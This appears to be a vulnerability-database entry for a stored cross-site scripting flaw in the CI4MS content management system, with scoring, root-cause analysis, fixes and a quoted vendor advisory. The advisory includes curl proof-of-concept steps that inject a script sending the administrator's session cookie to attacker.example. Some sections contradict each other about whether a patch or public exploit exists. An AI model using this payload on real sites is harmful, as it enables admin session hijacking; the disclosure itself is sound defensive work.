Skip to main content

CI4MS CVE-2026-45270

| EUVDEUVD-2026-45951 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-18 https://github.com/ci4-cms-erp/ci4ms GHSA-gqr2-7hcg-rchf
8.7
CVSS 3.1 · Vendor: https://github.com/ci4-cms-erp/ci4ms
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain content-author credentials
  2. Delivery
    Authenticate to backend via /login
  3. Exploit
    POST script payload to /backend/pages/create
  4. Install
    Optionally call setHomePage to serve payload at /
  5. C2
    Admin loads public page, script executes in admin origin
  6. Execute
    Exfiltrate Shield session cookie to attacker host
  7. Impact
    Ride admin session for full CMS takeover

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must hold a CI4MS backend account with the Shield permission pages.create or pages.update (the documented content-author role, explicitly non-admin per the advisory), authenticate through backendGuard, and submit a POST to /backend/pages/create or /backend/pages/update with a script payload in the lang[<code>][content] field. Execution against an administrator requires that admin to navigate to the public-facing page slug (UI:R) - this requirement is effectively removed if the attacker also has pages.update and invokes setHomePage, which serves the payload at / to all visitors. Vulnerable only on CI4MS <= 0.31.8.0; the default theme template (templates/default/pages.php) is confirmed unescaped, custom themes that wrap content in esc() would not be exploitable.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N (score 8.7) accurately reflects the threat model: network-reachable, low complexity, requires a low-privileged authenticated author (PR:L), needs an admin visitor to load the page (UI:R), and crosses a security boundary from content-author scope into admin scope (S:C) with high confidentiality and integrity impact. No EPSS score or CISA KEV entry has been published, and there is no public exploit identified at time of analysis beyond the detailed PoC in the vendor advisory itself. The UI:R requirement is materially weakened by the setHomePage capability - if the malicious page is set as home, the payload fires on the site root for every visitor including admins, which substantially raises real-world risk above what UI:R alone implies. The non-default condition is having delegated pages.create or pages.update permissions to a non-admin role, which is the documented intended use of the content-author role.

Exploit ScenarioDerived

A content author with pages.create permission logs into the backend and creates a page whose content field contains a <script> tag that exfiltrates document.cookie to an attacker-controlled host, then optionally invokes /backend/pages/setHomePage/<id> to serve the payload at /. When an administrator subsequently reviews the public site, their Shield session cookie is exfiltrated and the attacker rides the session against the full /backend/* surface including user management, file editor, and backup subsystem. A working PoC with exact curl commands is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 18, 2026

Stored cross-site scripting in the CI4MS (CodeIgniter 4 CMS/ERP) Pages module versions <= 0.31.8.0 allows authenticated content authors holding the pages.create or pages.update permission to persist arbitrary JavaScript that executes in every visitor's browser when the public Pages renderer outputs the field unescaped. Publicly available exploit code exists in the GitHub Security Advisory (GHSA-gqr2-7hcg-rchf), and because vulnerable pages can be promoted to the site home page, a single injection escalates from a low-privileged author to full administrator session takeover when an admin browses the front-end.

RemediationAI

Vendor-released patch: upgrade to ci4-cms-erp/ci4ms 0.31.9.0 or later (release notes at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0), which enforces CustomRules::getClean() output persistence in both create and update flows of Pages.php (and the sibling Blog issue). If immediate patching is not possible, compensating controls include revoking pages.create and pages.update permissions from any non-administrator role so only fully-trusted accounts can author page content (trade-off: blocks delegated content authoring workflows), temporarily disabling the Pages module routes via modules/Pages/Config/Routes.php if pages are not in active use, and as a stopgap editing app/Views/templates/default/pages.php line 32 to wrap output in esc($pageInfo->content, 'html') - note this will break any pages that legitimately rely on raw HTML markup such as embedded media or formatting. Additionally audit pages_langs.content rows for existing <script>, on*= handlers, and javascript: URIs since the payload is database-backed and survives the upgrade.

Affected VersionsENISA

ci4ms < 0.31.9.0

Affected Packages

composer ci4-cms-erp/ci4ms fix: 0.31.9.0
euvd ci4ms fix: 0.31.9.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CI4MS is a PHP CMS/ERP built on the CodeIgniter 4 framework. The root cause (CWE-79, Improper Neutralization of Input During Web Page Generation) sits at the intersection of two flawed assumptions: the custom html_purify validation rule in modules/Backend/Validation/CustomRules.php mutates its first argument by reference, but CodeIgniter 4's Validation::processRules() (system/Validation/Validation.php:344) invokes rules with a local copy of the value, so the mutation is discarded and never propagates back to the POST array. Controllers must explicitly call CustomRules::getClean() to retrieve sanitized output, which the Pages controller (modules/Pages/Controllers/Pages.php lines 111 and 157) fails to do, inserting raw POST content into pages_langs.content. The public renderer Home::index() then emits $pageInfo->content via app/Views/templates/default/pages.php:32 without esc(), completing the stored-XSS sink. The CPE pkg:composer/ci4-cms-erp_ci4ms identifies the affected composer package.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/ci4-cms-erp/ci4ms) PRIMARY 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Primary rating from Vendor (https://github.com/ci4-cms-erp/ci4ms) · only source for this CVE.

CVSS VectorVendor: https://github.com/ci4-cms-erp/ci4ms

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index() → app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page - including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.

Details

This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:

php
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    ...
    $clean = self::sanitizeHtml($str);
    $str = $clean;
    self::$cleanCache[md5((string)$str)] = $clean;
    return true;
}

CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation - but no controller in the codebase does so.

Pages controller - modules/Pages/Controllers/Pages.php:

  • Pages::create() registers the rule at line 82:
php
  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

Then at lines 102-113 it reads the raw POST and inserts it untouched:

php
  $langsData = $this->request->getPost('lang') ?? [];
  ...
  $this->commonModel->create('pages_langs', [
      ...
      'content' => $lData['content'],   // line 111 - RAW
      ...
  ]);
  • Pages::update() mirrors the same pattern at lines 130 and 157:
php
  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],   // line 130
  ...
  'content' => $lData['content'],   // line 157 - RAW

The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:

php
<div id="ci4ms-content">
    <?php echo $pageInfo->content ?>     // no esc(), raw HTML output
</div>

CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement - it does no HTML sanitization.

This is distinct from the Blog finding:

  • Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog)
  • Different table (pages_langs.content vs blog_langs.content)
  • Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php)
  • Different route (/<seflink> matched by Home::index vs /blog/<seflink>)
  • Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.

Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).

PoC

Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.

Step 1 - log in to backend, capture cookies:

bash
curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
  -d 'email=author@example.com' -d 'password=AuthorPass1!'

Step 2 - create a page with a malicious content payload:

bash
curl -k -b cookies.txt -X POST https://target/backend/pages/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-page-xss' \
  -d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \
  -d 'isActive=1'

Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal <script>...</script> payload.

Step 3 - trigger the XSS by visiting the public URL:

https://target/poc-page-xss

Home::index() selects the row, pages.php:32 emits the raw <script> tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.

Step 4 - broaden blast radius (optional, requires pages.update):

bash
curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \
  -H 'X-Requested-With: XMLHttpRequest'

After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.

Impact

  • Stored XSS in public-facing site: any visitor to a malicious page slug - or to / if the page is set as home - executes the attacker's JavaScript.
  • Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire /backend/* surface (full CMS administration, user management, file editor, backups, theme upload).
  • Privilege escalation: the attacker only needs pages.create (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector.
  • Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.

Recommended Fix

Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:

php
use Modules\Backend\Validation\CustomRules;

// Pages::create() - replace line 111
$this->commonModel->create('pages_langs', [
    'pages_id' => $insertID,
    'lang'     => $langCode,
    'title'    => strip_tags(trim($lData['title'])),
    'seflink'  => strip_tags(trim($lData['seflink'])),
    'content'  => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'      => $seoData
]);

// Pages::update() - replace line 157
$langUpdate = [
    'title'   => strip_tags(trim($lData['title'])),
    'seflink' => strip_tags(trim($lData['seflink'])),
    'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'     => $seoData
];

Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.

Executive ViewAI

Why It Matters

CI4MS (CodeIgniter 4 CMS/ERP) Pages module versions 0.31.8.0 and earlier contain a stored cross-site scripting vulnerability allowing authenticated content authors to inject malicious JavaScript that executes for all site visitors, with a confirmed escalation path to full administrative account takeover. No vendor patch is currently available, and publicly available exploit code exists, creating immediate risk to organizational security and user safety.

Business Impact: Severe
Compensating Controls

No patch available-implement interim controls: (1) Restrict pages.create and pages.update permissions to trusted administrators only; (2) Deploy Content Security Policy headers to block inline script execution; (3) Apply WAF rules to detect and block XSS patterns in page content; (4) Conduct manual audit of all existing pages for compromise indicators; (5) Enforce mandatory administrative approval before any page reaches homepage; (6) Implement strict output encoding in the Pages renderer; (7) Enable detailed audit logging for all page modifications and monitor for suspicious author activity.

Threat Intelligence Overview

EPSS Score
0.1%
Top 80% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy